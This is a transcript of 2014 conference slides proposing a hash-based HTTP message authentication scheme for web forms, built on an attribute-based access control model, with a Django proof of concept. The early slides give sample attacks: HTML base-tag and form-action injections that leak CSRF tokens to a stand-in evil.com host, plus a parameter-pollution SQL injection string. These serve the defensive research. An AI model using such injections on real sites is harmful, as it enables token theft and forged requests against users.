general method of http messages authentication based on hash functions in web applications
DESCRIPTION
HTTP messages authentication method for web applications is offered. The method can protect web application against attack based on authentication and authorization weaknesses. It is showed how HTTP authentication can be expressed in the terms of the attribute based access control model (ABAC). Implementation of the ABAC access control decision mechanism can use an authentication cryptographic protocol.TRANSCRIPT
General Method of HTTP Messages
Authentication Based on Hash
Functions in Web Applications
Denis Kolegov Tomsk State University
Information Security and Cryptography Department
SEPTEMBER 8 - 13 EKATERINBURG
2014
Introduction
• HTTP doesn’t have built in message authentication mechanisms
• HTTP messages authentication for web forms
– Origin authenticity
– Parameter names and values integrity
– Workflow integrity
• OWASP Top 10 2013
– A4 Insecure Direct Object Reference
– A7 Missing Function Level Access Control
– A8 Cross-Site Request Forgery (CSRF)
• Advanced Features
– Attack surface reduction
– Protection against automated attacks
2
Example 1 – CSRF Attack
3
• Protection methods
– Synchronizer token pattern
– Double submit cookies
– Encrypted token pattern
– Header-based (Referer, X-Requested-With, custom headers)
– Origin header
• Attacks
– Token leakage
– Token prediction
– Token retrieving (e.g., BREACH attack)
– Cookie injection
Example 2 – CSRF Token Leakage
• <BASE> jumping attack
<base href="http://evil.com/"> ← Injection point
<form action="create_folder">
<input type="hidden" name="csrf_token" value="21312">…
</form>
• Malicious request
http://evil.com/create_folder?csrf_token=21312
• Stolen CSRF token can be used by an attacker in different context
http://example.com/admin/delete_account?csrf_token=21312
4
Example 3 – CSRF Token Leakage
• POST request based on location.hash value is used to download
content from example.com/#/mypage
example.com/#/evil.com ← Injection point
• Malicious request
POST http://evil.com/get_content
Host: evil.com
\r\n
csrf_token=21312
• Stolen CSRF token can be used by an attacker in different context
http://example.com/admin/delete_account.php?csrf_token=21312
5
Example 4 – CSRF Token Leakage
• Content from http://example.com includes the following form
<form action="$_SERVER['REFERER_URI']"> ← Injection point
<input type="hidden" name="csrf_token" value="21312">…
</form>
• http://site.com//evil.com/../search corresponds to the following form
<form action="//evil.com/../search">
<input type="hidden" name="csrf_token" value="21312">…
</form>
• Malicious request
http://evil.com/../search?csrf_token=21312
• Stolen CSRF token can be used by an attacker in different context
http://example.com/admin/delete_account.php?csrf_token=21312
6
Example 5 – Parameter Pollution
• Supplying multiple HTTP parameters with the same name may
cause an application to interpret values in unanticipated ways
/index.aspx?page=select 1,2,3 from table ← SQL-injection is detected
/index.aspx?page=select 1&page=2,3 from table
• Different web technologies manage multiple occurrences of the same
parameter in different ways
7
Example 6 – BREACH attack against
CSRF Token
• Attackers could figure out CSRF token even when the
communication was encrypted
• CSRF Tokens must be unique per request if HTTP Response
compression is used
• Facebook tokens
– CSRF_Token = SHA2(accound_id, current_date, random_salt)
• Links
– https://blog.whitehatsec.com/raising-the-csrf-bar/
– https://www.facebook.com/notes/protect-the-graph/preventing-a-breach-
attack/1455331811373632
8
Example 7 - Insecure Direct Object
Reference
9
Example 8 - Insecure Direct Object
Reference
10
Causes and Consequences
11
Vulnerability Attack
Weakness Threat
Insecurity
Risk Unsafety
Known Approaches
• CSRF-tokens
– Encryption-based
– HMAC-based
• Authenticated HTTP requests
– RFC 6749 «The OAuth 1.0 Protocol»
• «Signed requests» API (Yahoo, Amazon, Facebook, Twitter)
• WAF
– ModSecurity: HMAC Token Protection
– F5 Networks ASM: Dynamic Content Value
• Frameworks
– ASP.NET Event Validation, View State MAC
12
Limitations of Known Approaches
• As a rule, web applications are protected from attacks against
authenticity origin (e.g., CSRF attack)
• HTTP messages authentication mechanisms are implemented in
special protocols, API or WAFs
• Client-side generated data and input fields are out of scope
• Protocols should consider HTTP protocol features and influence of
session management and load balancing mechanisms
• Workflow protection is not implemented in known frameworks
13
Authenticator Base String
• Authenticator base string (ABS) is a normalized string, calculated
from object’s and subject’s attributes according to security policy
• The ABS includes the following elements of the HTTP request
– Parameter names and values
– User’s identifiers (session cookie mandatory should be there)
– Resource’s identifier (URI)
– HTTP request method
– HTTP custom headers
• Encoding and delimiters
– BASE64, HEX
– Special characters (# & ; =)
14
Web Form Parameters
• Controlled by name
– An attacker can’t change parameter names that were set by server in
HTTP response
• Controlled by value
– An attacker can’t change parameter values that were set by server in
HTTP response
• Validated
– Client-side generated data
– User’s input fields
15
Base Validation Protocol
• We want to validate user’s input using HMAC and authenticator string
• Protocol parameters
– A – alphabet of permitted input characters (e.g., 0,1,…,9)
– U – union operation
– w – user’s input
– S(w) – set of word w characters
– L(A) – string of ordered elements of set A
– k – secret key
• Protocol actions
– Client ← Server: response, containing web form with input field and
hidden field with mac = HMAC(k, L(A)) value
– Client → Server: request with mac and w parameters
– Server: if HMAC(k, L(A U S(w)) = mac then request is permitted
16
• ABS is constructed by concatenating the following HTTP request
elements according to security policy
auth =
ordered list of parameter names + ";" +
ordered list of pairs (parameter name = value or #) + ";" +
user’s identifier + ";" +
resource’s identifier + ";" +
HTTP method
String Construction
17
1. Create L = {p1, …, pm} ordered list of parameter name-value pairs of
object request
2. If parameters are controlled by name then
auth = name(p1)+ "&" + … + "&" + name(pm) + ";"
3. For each p from L
if p is controlled then auth = auth + name(p) + "=" + value(p) + "&“
if p is validated then auth = auth + name(p) + "=#&"
4. Add identification data of user and resource, and the HTTP method
auth = auth + "; " + IDs + ";" + IDr + ";" + op
Construction Method
18
Sessionless Protocol
• Parameters
– k – server’s master key
– kr – server’s one-time random key
– IDr – resource's identifier
– IDs – user’s identifier
– LP – security policy expressed in a specific language
– time – timestamp
– E – encryption function, h – hash function
• All servers share the same master key and there are no data in session
• Protocol actions
– Client → Server: initial request from user (IDs) to resource (IDr)
– Client ← Server: response , containing access attributes mac = h(kr, auth,
time) and Ek(LP , time, kr)
– Client → Server: final request with IDs’, IDr’, mac’, Ek(LP, time, kr) 19
Sessionful Protocol
• Parameters
– k – server’s key
– IDr – resource's identifier
– IDs – user’s identifier
– LP – security policy expressed in a specific language
– time – timestamp
– E – encryption function, h – hash function
• Session data
– k, time and LP are stored in user’s session
• Protocol actions
– Client → Server: initial request from user (IDs) to resource (IDr)
– Client ← Server: response, containing access attributes mac = h(k, auth,
time)
– Client → Server: final request with IDs’, IDr’, mac’ 20
ABAC
21
• ABAC can be configured to implement DAC, MAC, or
RBAC (Jin, Krishnan, Sandhu, 2012)
• Attribute is a property expressed as a name:value pair
associated with any entity in the system
• The proposed method of HTTP messages authentication
can be expressed in terms of ABAC model
• All this creates the prerequisites for unified access
control mechanism in web applications
ABAC properties
22
• Elements of model
– Operations – the HTTP methods (GET, POST, PUT, etc)
– Objects – URIs
– Object attributes – permitted parameters for access to object
– Subject – HTTP request to objects
– Subject attributes – HTTP request parameters and headers
• Access rule
– Subject can access object if and only if authenticator calculated
from object’s attributes is equal to authenticator calculated from
subject’s attributes
Formal Description in ABAC
23
The Control of Workflow Integrity
24
• We are currently researching if it possible to develop
workflow protection mechanisms in the context of
proposed method
• Proposed HTTP messages authentication method
makes some attacks against workflow impossible
• Another enhancement of the method is adding a current
state and sequence of permitted sates in the policy
stored on a client-side in the encrypted form
Proof of Concept
• Django Framework
• Web forms strict security
• Project
– https://github.com/tsu-iscd/django-HTTPauth
• Modes
– Sessionless
– Sessionful
25
Features
• Strict protection against CSRF attack
• CSRF-tokens protection
– time to live – protection against replay attacks
– randomization – protection against BREACH-like attacks
– context – protection against leakage
• Integrity control of parameter names and values
• Parameter values validation in a given alphabet
• Support configuration without persistent and sharing sessions
26
Policy Description
auth_policy = {
“object”: URI regular expression,
“subject”: session identifier name,
“name_protection”: True | False,
“replay_protection”: {
“enable”: True | False,
“interval”: value},
“parameter_protection”: {
parameter_name: {
“action”: “control” | “validate”
“value”: regular expression }, …, }
} 27
Policy Example
class ClientForm(forms.Form):
product = forms.CharField(initial='Test')
price = forms.IntegerField()
policy = {'object':'http://127.0.0.1:8000/add/',
'name_protection' : False,
'replay_protection': {
'enable':True,
'interval':'30' },
'parameter_protection': {
‘product': {
'action':'validate',
'value':'[A-Za-z]+'},
'price': {
'action':'control'}}}
28
Application Example
29
Conclusion
• HTTP messages authentication ABAC model is developed
• General HTTP authentication method allowing to control and
to validate client-side generated data is proposed
• Authentication protocol adapted to employment in web
applications is designed
– Proposed approach can be employ in configurations without
sharing or persistent sessions support
– Protocol data can be stored on server-side and client-side
• PoC have been implemented in Django framework
30
Bibliography
• Vladimir Kochetkov. How to Develop a Secure Web Application and
Stay in Mind? URL: http://www.slideshare.net/kochetkov.vladimir/how-
to-develop-a-secure-web-application-and-stay-in-mind-phdays-3
• Jim Monico, Eoin Keary. Form Processing and Workflows. URL:
http://secappdev.org/handouts/2014/Jim%20Manico/HTML%20Forms
%20and%20Workflows%20v3.pdf
• Sergey Bobrov. Web Application Attacks via Request-URI. URL:
http://xakep.ru/issue/xa-171/
• TrustWave’s SpiderLabs. HMAC Token Protection. URL:
http://blog.spiderlabs.com/2014/01/modsecurity-advanced-topic-of-
the-week-hmac-token-protection.html
31